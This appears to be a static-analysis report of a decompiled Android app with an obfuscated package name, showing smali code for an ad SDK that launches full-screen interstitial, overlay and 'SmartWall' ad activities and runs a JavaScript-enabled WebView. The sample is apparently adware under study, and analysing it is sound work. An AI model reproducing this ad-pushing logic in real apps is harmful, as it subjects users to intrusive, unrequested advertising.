Position Instruction Meta Information
0.param p1, "result" # Ljava/lang/Boolean;
1.prologue
3invoke-virtual {p1}, Ljava/lang/Boolean;->booleanValue()Z
4move-result v1
5if-eqz v1, :cond_3b
7invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity;
8move-result-object v1
10invoke-static {v1}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setNextAdCallTime(Landroid/content/Context;)Z
11new-instance v0, Landroid/content/Intent;
13invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity;
14move-result-object v1
15const-class v2, Lcom/vxjxu/jkhfn1870/SmartWallActivity;
17invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
19const-string v1, "mfpad"
21invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: mfpad
22const/high16 v1, 0x10000000
24invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: 268435456
25const/high16 v1, 0x800000
27invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 8388608
28const/high16 v1, 0x20000000
30invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 536870912
32const-string v1, "adtype"
34const-string v2, "MFP"
36invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: adtype
    • p1: MFP
38invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity;
39move-result-object v1
41invoke-virtual {v1, v0}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V
42goto_3a: return-void
43cond_3b:
44const-string v1, "AirplaySDK"
46const-string v2, "Not able to get doc."
48invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Not able to get doc.
49goto/16 :goto_3a
Cross References
APIs
  • java.text.SimpleDateFormat.<init>
  • java.util.TimeZone.getTimeZone
  • java.text.SimpleDateFormat.setTimeZone
  • java.text.SimpleDateFormat.parse
  • java.io.PrintStream.println
  • java.text.SimpleDateFormat.<init>
  • java.util.TimeZone.getTimeZone
  • java.text.SimpleDateFormat.setTimeZone
  • java.text.SimpleDateFormat.format
  • java.text.DateFormat.getInstance
  • java.text.DateFormat.parse
  • java.util.Date.getTime
Strings
  • yyyy-MM-dd\'T\'HH:mm:ssZ
  • UTC
Position Instruction Meta Information
0.param p0, "date" # Ljava/lang/String;
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/lang/Exception;
4}
5.end annotation
6.prologue
7new-instance v4, Ljava/text/SimpleDateFormat;
9const-string v6, "yyyy-MM-dd\'T\'HH:mm:ssZ"
11invoke-direct {v4, v6}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: yyyy-MM-dd\'T\'HH:mm:ssZ
13const-string v6, "UTC"
15invoke-static {v6}, Ljava/util/TimeZone;->getTimeZone(Ljava/lang/String;)Ljava/util/TimeZone;
  • Data flow analysis:
    • p0: UTC
16move-result-object v6
18invoke-virtual {v4, v6}, Ljava/text/SimpleDateFormat;->setTimeZone(Ljava/util/TimeZone;)V
19const/4 v5, 0x0
21invoke-virtual {v4, p0}, Ljava/text/SimpleDateFormat;->parse(Ljava/lang/String;)Ljava/util/Date;
22move-result-object v5
24sget-object v6, Ljava/lang/System;->out:Ljava/io/PrintStream;
26invoke-virtual {v6, v5}, Ljava/io/PrintStream;->println(Ljava/lang/Object;)V
27new-instance v2, Ljava/text/SimpleDateFormat;
29invoke-direct {v2}, Ljava/text/SimpleDateFormat;-><init>()V
31const-string v6, "UTC"
33invoke-static {v6}, Ljava/util/TimeZone;->getTimeZone(Ljava/lang/String;)Ljava/util/TimeZone;
  • Data flow analysis:
    • p0: UTC
34move-result-object v6
36invoke-virtual {v2, v6}, Ljava/text/SimpleDateFormat;->setTimeZone(Ljava/util/TimeZone;)V
38invoke-virtual {v2, v5}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
39move-result-object v3
41invoke-static {}, Ljava/text/DateFormat;->getInstance()Ljava/text/DateFormat;
42move-result-object v6
44invoke-virtual {v6, v3}, Ljava/text/DateFormat;->parse(Ljava/lang/String;)Ljava/util/Date;
45move-result-object v6
47invoke-virtual {v6}, Ljava/util/Date;->getTime()J
48move-result-wide v0
49return-wide v0
Cross References
APIs
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.content.Intent.<init>
  • android.content.Intent.setAction
  • android.content.Intent.putExtra
  • android.content.Intent.addFlags
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.content.Context.startActivity
  • java.lang.Exception.printStackTrace
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
Strings
  • playVideo
  • url
  • 89
Position Instruction Meta Information
0.param p1, "url" # Ljava/lang/String;
1.prologue
2const/4 v2, 0x0
4invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 0
5try_start_4:
6iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
7if-eqz v2, :cond_d
9iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
11invoke-interface {v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdClickListener()V
12cond_d: new-instance v1, Landroid/content/Intent;
14invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
15move-result-object v2
16const-class v3, Lcom/vxjxu/jkhfn1870/BrowserActivity;
18invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
20const-string v2, "playVideo"
22invoke-virtual {v1, v2}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: playVideo
24const-string v2, "url"
26invoke-virtual {v1, v2, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: url
27const/high16 v2, 0x800000
29invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 8388608
30const/high16 v2, 0x10000000
32invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 268435456
34invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
35move-result-object v2
37invoke-virtual {v2, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
38goto_33: return-void
39catch_34: move-exception v0
41invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
43const-string v2, "89"
45invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 89
46goto/16 :goto_33
APIs
  • android.content.Context.getSharedPreferences
  • android.content.SharedPreferences.edit
  • android.content.SharedPreferences$Editor.putBoolean
  • android.content.SharedPreferences$Editor.commit
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • java.lang.Exception.printStackTrace
Strings
  • sdkPrefs
  • SDKEnabled
  • AirplaySDK
  • SDK enabled:
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "enable" # Z
2.prologue
3try_start_0:
4const-string v3, "sdkPrefs"
5const/4 v4, 0x0
7invoke-virtual {p0, v3, v4}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
  • Data flow analysis:
    • name: sdkPrefs
    • mode: 0
8move-result-object v0
10invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
11move-result-object v1
13const-string v3, "SDKEnabled"
15invoke-interface {v1, v3, p1}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p0: SDKEnabled
17invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
19const-string v3, "AirplaySDK"
20new-instance v4, Ljava/lang/StringBuilder;
22invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
24const-string v5, "SDK enabled: "
26invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: SDK enabled:
27move-result-object v4
29invoke-virtual {v4, p1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
30move-result-object v4
32invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
33move-result-object v4
35invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
36goto_2b: return-void
37catch_2c: move-exception v2
39invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
40goto/16 :goto_2b
APIs
  • android.webkit.WebChromeClient.onShowCustomView
  • android.widget.FrameLayout.getFocusedChild
  • com.vxjxu.jkhfn1870.MraidView.access$1102
  • com.vxjxu.jkhfn1870.MraidView.access$1100
  • android.widget.FrameLayout.removeView
  • com.vxjxu.jkhfn1870.MraidView.getParent
  • com.vxjxu.jkhfn1870.MraidView.access$1100
  • android.view.ViewGroup.addView
  • com.vxjxu.jkhfn1870.MraidView.access$1100
  • android.widget.VideoView.setOnCompletionListener
  • com.vxjxu.jkhfn1870.MraidView.access$1100
  • android.widget.VideoView.setOnErrorListener
  • com.vxjxu.jkhfn1870.MraidView.access$1100
  • android.widget.VideoView.start
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
Position Instruction Meta Information
0.param p1, "view" # Landroid/view/View;
1.param p2, "callback" # Landroid/webkit/WebChromeClient$CustomViewCallback;
2.prologue
4invoke-super {p0, p1, p2}, Landroid/webkit/WebChromeClient;->onShowCustomView(Landroid/view/View;Landroid/webkit/WebChromeClient$CustomViewCallback;)V
5instance-of v1, p1, Landroid/widget/FrameLayout;
6if-eqz v1, :cond_64
7move-object v0, p1
8check-cast v0, Landroid/widget/FrameLayout;
10invoke-virtual {v0}, Landroid/widget/FrameLayout;->getFocusedChild()Landroid/view/View;
11move-result-object v1
12instance-of v1, v1, Landroid/widget/VideoView;
13if-eqz v1, :cond_64
15iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
16check-cast p1, Landroid/widget/FrameLayout;
18invoke-virtual {p1}, Landroid/widget/FrameLayout;->getFocusedChild()Landroid/view/View;
19move-result-object v1
20check-cast v1, Landroid/widget/VideoView;
22invoke-static {v2, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1102(Lcom/vxjxu/jkhfn1870/MraidView;Landroid/widget/VideoView;)Landroid/widget/VideoView;
24iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
26invoke-static {v1}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1100(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/widget/VideoView;
27move-result-object v1
29invoke-virtual {v0, v1}, Landroid/widget/FrameLayout;->removeView(Landroid/view/View;)V
31iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
33invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/MraidView;->getParent()Landroid/view/ViewParent;
34move-result-object v1
35check-cast v1, Landroid/view/ViewGroup;
37iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
39invoke-static {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1100(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/widget/VideoView;
40move-result-object v2
42invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->addView(Landroid/view/View;)V
44iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
46invoke-static {v1}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1100(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/widget/VideoView;
47move-result-object v1
48new-instance v2, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient$1;
50invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient$1;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;)V
52invoke-virtual {v1, v2}, Landroid/widget/VideoView;->setOnCompletionListener(Landroid/media/MediaPlayer$OnCompletionListener;)V
54iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
56invoke-static {v1}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1100(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/widget/VideoView;
57move-result-object v1
58new-instance v2, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient$2;
60invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient$2;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;)V
62invoke-virtual {v1, v2}, Landroid/widget/VideoView;->setOnErrorListener(Landroid/media/MediaPlayer$OnErrorListener;)V
64iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
66invoke-static {v1}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1100(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/widget/VideoView;
67move-result-object v1
69invoke-virtual {v1}, Landroid/widget/VideoView;->start()V
71iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
72const/4 v2, 0x0
74invoke-virtual {v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 0
75cond_64: return-void
Cross References
APIs
  • android.webkit.WebView.<init>
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.setHorizontalScrollBarEnabled
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.setVerticalScrollBarEnabled
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.setScrollBarStyle
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.setBackgroundColor
  • android.webkit.CookieSyncManager.createInstance
  • android.webkit.CookieSyncManager.getInstance
  • android.webkit.CookieSyncManager.startSync
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.getSettings
  • android.webkit.WebSettings.setJavaScriptEnabled
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.plugin
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.setF
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView$1.<init>
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.setWebChromeClient
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView$2.<init>
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.setWebViewClient
Position Instruction Meta Information
0.param p1, "activity" # Lcom/vxjxu/jkhfn1870/BrowserActivity;
1.param p2, "context" # Landroid/content/Context;
2.param p3, "url" # Ljava/lang/String;
3.annotation build Landroid/annotation/SuppressLint;
4value = {
5"SetJavaScriptEnabled"
6}
7.end annotation
8.prologue
9const/4 v1, 0x0
10iput-object p1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity;
12invoke-direct {p0, p2}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V
14invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->setHorizontalScrollBarEnabled(Z)V
  • Data flow analysis:
    • p0: 0
16invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->setVerticalScrollBarEnabled(Z)V
  • Data flow analysis:
    • p0: 0
17const/high16 v0, 0x2000000
19invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->setScrollBarStyle(I)V
  • Data flow analysis:
    • style: 33554432
21invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->setBackgroundColor(I)V
  • Data flow analysis:
    • color: 0
23invoke-static {p1}, Landroid/webkit/CookieSyncManager;->createInstance(Landroid/content/Context;)Landroid/webkit/CookieSyncManager;
25invoke-static {}, Landroid/webkit/CookieSyncManager;->getInstance()Landroid/webkit/CookieSyncManager;
26move-result-object v0
28invoke-virtual {v0}, Landroid/webkit/CookieSyncManager;->startSync()V
30invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->getSettings()Landroid/webkit/WebSettings;
31move-result-object v0
32const/4 v1, 0x1
34invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V
  • Data flow analysis:
    • flag: 1
36invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->plugin()V
38invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->setF()V
39new-instance v0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$1;
41invoke-direct {v0, p0, p1, p1}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$1;-><init>(Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;Lcom/vxjxu/jkhfn1870/BrowserActivity;Landroid/app/Activity;)V
43invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->setWebChromeClient(Landroid/webkit/WebChromeClient;)V
44new-instance v0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$2;
46invoke-direct {v0, p0, p1}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$2;-><init>(Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;Lcom/vxjxu/jkhfn1870/BrowserActivity;)V
48invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->setWebViewClient(Landroid/webkit/WebViewClient;)V
49return-void
APIs
  • android.util.Log.i
  • java.lang.System.currentTimeMillis
  • android.util.Log.i
  • android.util.Log.e
  • com.vxjxu.jkhfn1870.SmartWallActivity.isShowing
  • android.util.Log.i
Strings
  • AirplaySDK
  • Initialising LandingPage AD.....
  • LandingPage Ad called within 10 secs. Ignoring request
  • Error occurred in LandingPage ad:
  • Another ad is showing on screen.
  • AirPlay is disabled Please enable to recive ads.
Position Instruction Meta Information
0.prologue
1try_start_0:
2const-string v2, "AirplaySDK"
4const-string v3, "Initialising LandingPage AD....."
6invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Initialising LandingPage AD.....
7sget-boolean v2, Lcom/vxjxu/jkhfn1870/AirPlay;->isIntegrationIssue:Z
8if-nez v2, :cond_11
10invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkSmartWallActivity()Z
11move-result v2
12if-nez v2, :cond_12
13cond_11: return-void
14cond_12:
15sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
16if-eqz v2, :cond_6b
18sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
20invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->isSDKEnabled(Landroid/content/Context;)Z
21move-result v2
22if-eqz v2, :cond_6b
24sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
26invoke-static {v2}, Lcom/vxjxu/jkhfn1870/SetPreferences;->getNextAdCallTime(Landroid/content/Context;)J
27move-result-wide v2
29invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
30move-result-wide v4
31cmp-long v2, v2, v4
32if-lez v2, :cond_42
34const-string v2, "AirplaySDK"
36const-string v3, "LandingPage Ad called within 10 secs. Ignoring request"
38invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: LandingPage Ad called within 10 secs. Ignoring request
40const-string v2, "LandingPage Ad called within 10 secs. Ignoring request"
42invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: LandingPage Ad called within 10 secs. Ignoring request
43try_end_38: goto/16 :goto_11
44catch_39: move-exception v1
46const-string v2, "AirplaySDK"
48const-string v3, "Error occurred in LandingPage ad: "
50invoke-static {v2, v3, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Error occurred in LandingPage ad:
51goto/16 :goto_11
52cond_42:
53invoke-static {}, Lcom/vxjxu/jkhfn1870/SmartWallActivity;->isShowing()Z
54move-result v2
55if-eqz v2, :cond_55
57const-string v2, "AirplaySDK"
59const-string v3, "Another ad is showing on screen."
61invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Another ad is showing on screen.
63const-string v2, "Another ad is showing on screen."
65invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Another ad is showing on screen.
66goto/16 :goto_11
67cond_55:
68sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
70invoke-static {v2}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setNextAdCallTime(Landroid/content/Context;)Z
71new-instance v0, Lcom/vxjxu/jkhfn1870/AirPlay$4;
73invoke-direct {v0, p0}, Lcom/vxjxu/jkhfn1870/AirPlay$4;-><init>(Lcom/vxjxu/jkhfn1870/AirPlay;)V
75sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
77invoke-static {v2}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z
78move-result v2
79if-eqz v2, :cond_11
81invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->launchNewHttpTask()V
82goto/16 :goto_11
83cond_6b:
84const-string v2, "AirplaySDK"
86const-string v3, "AirPlay is disabled Please enable to recive ads."
88invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: AirPlay is disabled Please enable to recive ads.
90const-string v2, "AirPlay is disabled Please enable to recive ads."
92invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: AirPlay is disabled Please enable to recive ads.
93try_end_77: goto/16 :goto_11
APIs
  • android.util.Log.i
  • java.lang.System.currentTimeMillis
  • android.util.Log.i
  • android.util.Log.e
  • com.vxjxu.jkhfn1870.SmartWallActivity.isShowing
  • android.util.Log.i
Strings
  • AirplaySDK
  • Initialising Rich Media Interstitial Ad.....
  • Rich Media Interstitial Ad called within 10 secs. Ignoring request
  • Error occurred in Rich Media interstital ad:
  • Another ad is showing on screen.
  • AirPlay is disabled Please enable to recive ads.
Position Instruction Meta Information
0.prologue
1try_start_0:
2const-string v3, "AirplaySDK"
4const-string v4, "Initialising Rich Media Interstitial Ad....."
6invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Initialising Rich Media Interstitial Ad.....
7sget-boolean v3, Lcom/vxjxu/jkhfn1870/AirPlay;->isIntegrationIssue:Z
8if-nez v3, :cond_11
10invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkSmartWallintegration()Z
11move-result v3
12if-nez v3, :cond_12
13cond_11: return-void
14cond_12:
15sget-object v3, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
16if-eqz v3, :cond_69
18sget-object v3, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
20invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->isSDKEnabled(Landroid/content/Context;)Z
21move-result v3
22if-eqz v3, :cond_69
24sget-object v3, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
26invoke-static {v3}, Lcom/vxjxu/jkhfn1870/SetPreferences;->getNextAdCallTime(Landroid/content/Context;)J
27move-result-wide v4
29invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
30move-result-wide v6
31cmp-long v3, v4, v6
32if-lez v3, :cond_40
34const-string v2, "Rich Media Interstitial Ad called within 10 secs. Ignoring request"
36const-string v3, "AirplaySDK"
38invoke-static {v3, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Rich Media Interstitial Ad called within 10 secs. Ignoring request
40invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Rich Media Interstitial Ad called within 10 secs. Ignoring request
41try_end_36: goto/16 :goto_11
42catch_37: move-exception v1
44const-string v3, "AirplaySDK"
46const-string v4, "Error occurred in Rich Media interstital ad: "
48invoke-static {v3, v4, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Error occurred in Rich Media interstital ad:
49goto/16 :goto_11
50try_start_40:
51invoke-static {}, Lcom/vxjxu/jkhfn1870/SmartWallActivity;->isShowing()Z
52move-result v3
53if-eqz v3, :cond_53
55const-string v3, "AirplaySDK"
57const-string v4, "Another ad is showing on screen."
59invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Another ad is showing on screen.
61const-string v3, "Another ad is showing on screen."
63invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Another ad is showing on screen.
64goto/16 :goto_11
65cond_53:
66sget-object v3, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
68invoke-static {v3}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setNextAdCallTime(Landroid/content/Context;)Z
69new-instance v0, Lcom/vxjxu/jkhfn1870/AirPlay$5;
71invoke-direct {v0, p0}, Lcom/vxjxu/jkhfn1870/AirPlay$5;-><init>(Lcom/vxjxu/jkhfn1870/AirPlay;)V
73sget-object v3, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
75invoke-static {v3}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z
76move-result v3
77if-eqz v3, :cond_11
79invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->launchNewHttpTask()V
80goto/16 :goto_11
81cond_69:
82const-string v3, "AirplaySDK"
84const-string v4, "AirPlay is disabled Please enable to recive ads."
86invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: AirPlay is disabled Please enable to recive ads.
88const-string v3, "AirPlay is disabled Please enable to recive ads."
90invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: AirPlay is disabled Please enable to recive ads.
91try_end_75: goto/16 :goto_11
APIs
  • android.util.Log.i
  • java.lang.System.currentTimeMillis
  • android.util.Log.i
  • android.util.Log.e
  • com.vxjxu.jkhfn1870.SmartWallActivity.isShowing
  • android.util.Log.i
Strings
  • AirplaySDK
  • Initialising Overlay AD.....
  • Overlay Ad called within 10 secs. Ignoring request
  • Error occurred in Overlay ad:
  • Another ad is showing on screen.
  • AirPlay SDK is disabled Please enable to recive ads.
Position Instruction Meta Information
0.prologue
1try_start_0:
2const-string v2, "AirplaySDK"
4const-string v3, "Initialising Overlay AD....."
6invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Initialising Overlay AD.....
7sget-boolean v2, Lcom/vxjxu/jkhfn1870/AirPlay;->isIntegrationIssue:Z
8if-nez v2, :cond_11
